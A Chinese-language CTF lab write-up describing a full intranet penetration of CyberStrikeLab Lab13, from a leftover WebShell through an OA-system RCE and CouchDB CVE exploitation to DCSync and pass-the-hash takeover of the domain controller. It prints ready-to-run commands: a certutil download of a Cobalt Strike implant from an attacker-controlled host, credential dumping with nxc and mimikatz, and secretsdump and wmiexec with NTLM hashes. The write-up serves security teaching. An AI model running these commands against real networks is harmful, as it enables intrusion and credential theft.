CyberStrikeLab Lab13 渗透实战全流程详解
字数 3974
更新时间 2026-04-02 13:05:11
CyberStrikeLab Lab13 渗透实战教学文档
1. 靶场概述
本次渗透测试是一个内网渗透实战,攻击者从外网打点开始,通过一系列漏洞利用、横向移动和权限提升,逐步渗透至内网,最终接管域控制器。整个过程分为四个主要阶段,分别对应四个Flag的获取。
2. 初始入口获取 (Flag1)
目标: 从外网获得第一个立足点,获取Flag1。
步骤详解:
2.1 目标识别与信息收集
- 目标地址:
http://172.33.6.42 - 技术点: CMS指纹识别。
- 结果: 识别出目标网站使用
cmseasy内容管理系统。
2.2 WebShell发现与利用
- 技术点: 目录扫描。
- 发现: 扫描到敏感后门文件
/command.php。访问该文件出现异常报错,可判定为遗留的WebShell。 - 利用: 通过该WebShell执行远程命令。
- Payload执行:
http://172.33.6.42/command.php?2025@cslab=system('certutil.exe -urlcache -split -f http://172.16.233.2:8848/cslab.exe cslab.exe')
- 命令解析: 利用
certutil.exe工具从攻击者控制的服务器(172.16.233.2:8848)下载名为cslab.exe的Cobalt Strike木马,并在目标服务器本地保存为同名文件。 - 结果: 成功在目标机器上线Cobalt Strike (CS),获得初始控制权。
2.3 本地信息收集
- 技术点: 在已控机器上抓取本地用户Hash。
- 获取的Hash示例:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:02e1e3a44f84e3269721e1c6cab01dc5:::
DefaultAccount:503:...
Guest:501:...
- 完成标志: 获取到第一个Flag (Flag1)。
3. 内网横向移动 - OA系统 (Flag2)
目标: 从已控的第一台主机,横向移动到内网OA服务器,获取Flag2。
3.1 内网探测
- 发现: 在内网中发现IP地址
172.55.2.23,其上运行着“信呼OA”系统。
3.2 漏洞利用 (默认弱口令 + 文件写入RCE)
- 技术点: 默认口令攻击、OA系统漏洞利用。
- 步骤:
- 登录: 使用默认账号
xiaoqiao和密码123456成功登录OA系统,获取有效会话(PHPSESSID)。 - 漏洞分析: 利用OA系统的
copymode功能存在缺陷,可写入恶意PHP文件。 - 利用原理: 通过构造特殊的
name参数,在/webmain/model/flow/目录下生成一个包含恶意代码的PHP文件。该代码能通过HTTP Header中的CMD字段接收并执行系统命令。 - 利用脚本: 文档提供了一个完整的Python利用脚本(
RCEShell类),核心功能包括:setup(): 发送POST请求,利用copymode创建后门PHP文件。execute(cmd): 通过访问生成的后门文件,并设置HTTP HeaderCMD: {command}来执行命令。
3.3 二次上线与权限提升
- 技术点: 内网下载、本地提权。
- 步骤:
- 下载木马: 在OA服务器的WebShell中,使用
certutil.exe从攻击者内网主机(172.55.2.67)下载第二个Cobalt Strike木马(oa.exe)并执行,实现在OA服务器上线。 - 本地提权: 使用JuicyPotato (甜土豆) 或 SweetPotato 等工具,将获得的普通用户权限提升至
NT AUTHORITY\SYSTEM权限。
3.4 凭据获取
- 技术点: Hash抓取与破解。
- 结果: 提权后抓取到OA服务器本地Administrator的NTLM Hash:
45f198df3dd08ded3493749819434962。 - 密码破解: 通过cmd5等在线网站查询,破解出明文密码为
xinF1cs。 - 完成标志: 获取到第二个Flag (Flag2)。
4. 深入内网横向 - CouchDB利用 (Flag3)
目标: 以OA服务器为跳板,进一步向内网核心区域横向移动,获取Flag3。
4.1 内网资产探测
- 技术点: 全端口扫描。
- 工具: 使用
fscan对内网进行扫描。 - 关键发现:
10.50.22.8-> 域控制器 (DC)10.50.22.6-> CouchDB 数据库服务器10.50.22.23-> 已攻破的OA服务器
4.2 CouchDB漏洞利用 (CVE-2017-12635/12636)
- 技术点: 未授权访问、权限绕过、远程代码执行。
- 漏洞: CouchDB存在CVE-2017-12635(权限绕过)和CVE-2017-12636(RCE)漏洞。
- 攻击流程:
- 创建管理员账户: 利用未授权访问或权限绕过漏洞,创建一个管理员账户。
- 写入
query_servers: 通过新创建的管理员账户,向CouchDB配置中写入恶意命令到query_servers。 - 触发RCE: 通过触发数据库查询等操作,使CouchDB执行
query_servers中定义的恶意命令。
- 利用结果: 成功在
10.50.22.6(CouchDB服务器) 上下载并执行第三个Cobalt Strike木马(333.exe),获得该服务器控制权。
4.3 凭据收集与横向移动
- 技术点: Hash抓取、破解、RDP横向移动、共享访问。
- 步骤:
- 在CouchDB服务器(
10.50.22.6)上抓取本地Administrator Hash:2de5cd0f15d1c070851d1044e1d95c90,破解得到明文密码qwe!@#123。 - 利用此密码,通过RDP (远程桌面) 登录到OA服务器(
10.50.22.23),发现一个已登录的域用户会话。 - 利用当前权限,直接读取域控制器(
10.50.22.8)上的共享文件,获取Flag3:type \\10.50.22.8\C$\flag.txt。
4.4 域凭据获取
- 技术点: 信息搜集。
- 发现: 在计划任务或系统日志中,发现了域用户凭据:用户名
cslab,密码cs1ab@cs6。
5. 域权限提升与域控接管 (Flag4)
目标: 利用已获取的域用户权限,提升至域管理员权限,最终完全控制域控制器。
5.1 权限分析与利用准备
- 技术点: LDAP查询、备份权限。
- 步骤:
- 导出凭据: 在CouchDB服务器(
10.50.22.6)上,使用nxc(NetExec) 工具导出本地SAM和LSA Secrets。nxc smb 10.50.22.6 -u administrator -p qwe!@#123 --sam --lsa - 权限确认: 使用
ldapsearch查询域用户cslab的组成员关系,发现其属于Backup Operators(备份操作员)组。这是关键突破口,因为该组成员有权备份文件,可用于读取域控上的敏感注册表文件。
5.2 利用Backup Operators权限导出域控注册表
- 技术点: 备份特权利用、文件复制。
- 步骤:
- 导出注册表: 在已控的CouchDB服务器上,使用特定工具(如
BOexp.exe),以域用户cslab的身份,从域控(10.50.22.8)导出SAM、SYSTEM、SECURITY三个关键注册表文件,保存到域控的C:\users\目录下。BOexp.exe -t \\DC.cyberstrike.lab -u cslab -p cs1ab@cs6 -d cyberstrike.lab -o c:\users - 复制文件: 将导出的文件从域控复制到攻击者控制的CouchDB服务器上。
copy \\10.50.22.8\C$\users\SAM C:\cslab_dump\ copy \\10.50.22.8\C$\users\SYSTEM C:\cslab_dump\ copy \\10.50.22.8\C$\users\SECURITY C:\cslab_dump\
5.3 提取机器账户Hash与DCSync攻击
- 技术点: Mimikatz使用、机器账户Hash提取、DCSync攻击。
- 步骤:
- 分析SECURITY文件: 使用Mimikatz解析
SECURITY文件,提取出$MACHINE.ACC的NTLM Hash。这是域控制器的计算机账户Hash,是执行DCSync攻击的关键。mimikatz # lsadump::secrets /system:SYSTEM /security:SECURITY ... Secret : $MACHINE.ACC ... NTLM:94a4396913e548b06c7ba4257412f088 - 执行DCSync攻击: 利用获取到的域控制器机器账户Hash(
:94a4396913e548b06c7ba4257412f088),通过secretsdump.py(Impacket套件工具) 模拟域控制器进行同步复制(DCSync),从而导出域内所有用户的Hash。secretsdump.py -hashes :94a4396913e548b06c7ba4257412f088 CYBERSTRIKE.LAB/DC\$@10.50.22.8 - 获取域管Hash: 从DCSync导出的结果中,获取域管理员
Administrator的NTLM Hash:28cfbc91020438f2a064a63fff9871fa。
5.4 Pass-The-Hash (PTH) 接管域控
- 技术点: 哈希传递攻击。
- 最终攻击: 使用获取到的域管理员NTLM Hash,通过
wmiexec.py(Impacket套件工具) 直接以域管理员身份在域控制器上执行命令,完成对域控的完全接管。python wmiexec.py -hashes :28cfbc91020438f2a064a63fff9871fa cyberstrike.lab/Administrator@10.50.22.8 - 完成标志: 成功获取域控权限及最终Flag4。
6. 关键知识点总结
-
DSRM账户 vs 域管理员账户:
- DSRM (Directory Services Restore Mode) Administrator: 是域控制器的本地应急恢复账户,密码在创建域控时手动设置,独立于域密码,仅在目录服务修复模式下使用。其Hash并非域管理员Hash。
- Domain Admin: 是域环境中的最高权限账户,可管理整个域。
- 核心区别: 攻击初期获得的Administrator Hash很可能是DSRM账户的,无法直接用于域内横向移动,需区分。
-
完整提权链梳理:
外网WebShell → CS上线 → 内网OA系统漏洞利用(RCE) → 本地提权(SYSTEM) → 内网扫描发现CouchDB → CouchDB未授权RCE → 凭据收集(本地Hash/域用户) → 发现Backup Operators权限 → 利用权限导出域控注册表(SAM/SYSTEM/SECURITY) → 提取机器账户Hash($MACHINE.ACC) → 利用机器账户Hash执行DCSync攻击 → 获取域管理员Hash → Pass-The-Hash拿下域控制器
7. 核心攻击路径提炼
本次渗透的核心攻击路径在于:将Backup Operators组的文件备份权限,与域控制器计算机账户($MACHINE.ACC)的Hash相结合,最终通过DCSync攻击导出域内所有凭据,从而接管整个域。这是内网渗透中一条非常经典且高效的提权路径。
相似文章
相似文章